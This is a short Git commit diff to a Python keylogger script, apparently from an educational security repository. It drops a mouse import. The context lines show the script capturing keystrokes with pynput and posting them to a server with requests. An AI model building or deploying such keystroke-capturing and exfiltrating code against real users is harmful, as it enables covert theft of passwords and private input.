Update keylogger.py

This commit is contained in:
David Bombal
2022-08-02 16:47:36 +02:00
committed by GitHub
parent 08af0fbd58
commit aa11bfb703

View File

@@ -1,6 +1,6 @@
# Install pynput using the following command: pip install pynput
# Import the mouse and keynboard from pynput
from pynput import mouse, keyboard
from pynput import keyboard
# We need to import the requests library to Post the data to the server.
import requests
# To transform a Dictionary to a JSON string we need the json package.
@@ -65,4 +65,4 @@ with keyboard.Listener(
on_press=on_press) as listener:
# We start of by sending the post request to our server.
send_post_req()
listener.join()
listener.join()